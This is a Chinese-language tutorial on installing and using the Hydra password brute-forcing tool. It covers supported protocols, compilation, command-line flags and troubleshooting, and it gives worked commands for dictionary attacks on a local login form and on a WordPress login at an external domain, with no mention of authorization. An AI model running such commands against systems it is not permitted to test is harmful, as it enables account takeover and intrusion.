hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。
官网:http://www.thc.org/thc-hydra
可支持破解密码类型:AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等。
1.下载 https://www.thc.org/releases/hydra-8.3.tar.gz
2.安装依赖包 如果是Debian和Ubuntu发行版,yum源里自带hydra,我们直接用apt-get在线安装。
# apt-get -y install \ libssl-dev libssh-dev libidn11-dev libpcre3-dev \ libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev \ firebird2.1-dev libncp-dev hydra gcc对于Redhat/Centos/Fedora发行版,我们需要下载源码包,然后编译安装,因此先安装相关依赖包
# yum -y install \ openssl-devel pcre-devel ncpfs-devel postgresql-devel \ libssh-devel subversion-devel gcc3.编译安装hydra
# tar zxvf hydra-8.3.tar.gz # cd hydra-8.3 # ./configure --prefix=/path/to/hydra # make && make install-R 继续从上一次进度接着破解
-S 大写,采用SSL链接
-s 小写,可通过这个参数指定非默认端口
-l 指定破解的用户,对特定用户破解
-L 指定用户名字典
-p 小写,指定密码破解,少用,一般是采用密码字典
-P 大写,指定密码字典
-e 可选选项,n:空密码试探,s:使用指定用户和密码试探
-C 使用冒号分割格式(username:password)可以代替-l username -p password
-M 指定目标列表文件一行一条
-o 指定结果输出文件
-w 设置最大超时的时间,单位秒,默认是30s
-t 指定多线程数量,默认为16个线程
-vV 显示详细过程
-f 当破解了一个密码就停止,
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
OPT 可选项
实例1. 假设有一个密码登录表单,我们执行命令:
# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “/index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”说明:admin是破解的用户名,pass.lst是密码字典,ok.lst是保存破解结果的文件,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是破解目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解,中的内容是表示错误猜解的返回信息提示,可以自定义。
实例2. 爆破wordpress:
# hydra -L user.txt -P /Users/hacked/Desktop/133232.txt -o /users/hacked/123.txt -t 10 -f www.sysshell.com http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:login_error"1.运行hydra时可能会出现错误
[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!
原因:系统没有安装libssh库
解决方法:从 https://red.libssh.org/projects/libssh/files下载libssh-0.7.3.tar.xz,解压安装。
# tar xf libssh-0.7.3.tar.xz # cd libssh-0.7.3 # mkdir build # cd build # cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON .. # make # make install接着,重新编译安装hydra
2.ld提示找不到库文件
hydra: error while loading shared libraries: libssh.so.4: cannot open shared object file: No such file or directory
原因:链接器ld默认的目录是/lib和/usr/lib,如果放在其他路径也可以,需要让ld知道库文件在哪里
解决方法:
# find / -name libssh.so.4 /usr/lib/libssh.so.4 # vim /etc/ld.so.conf.d/usr-libs.conf //写入libssh.so.4 所在路径 /usr/lib # ldconfig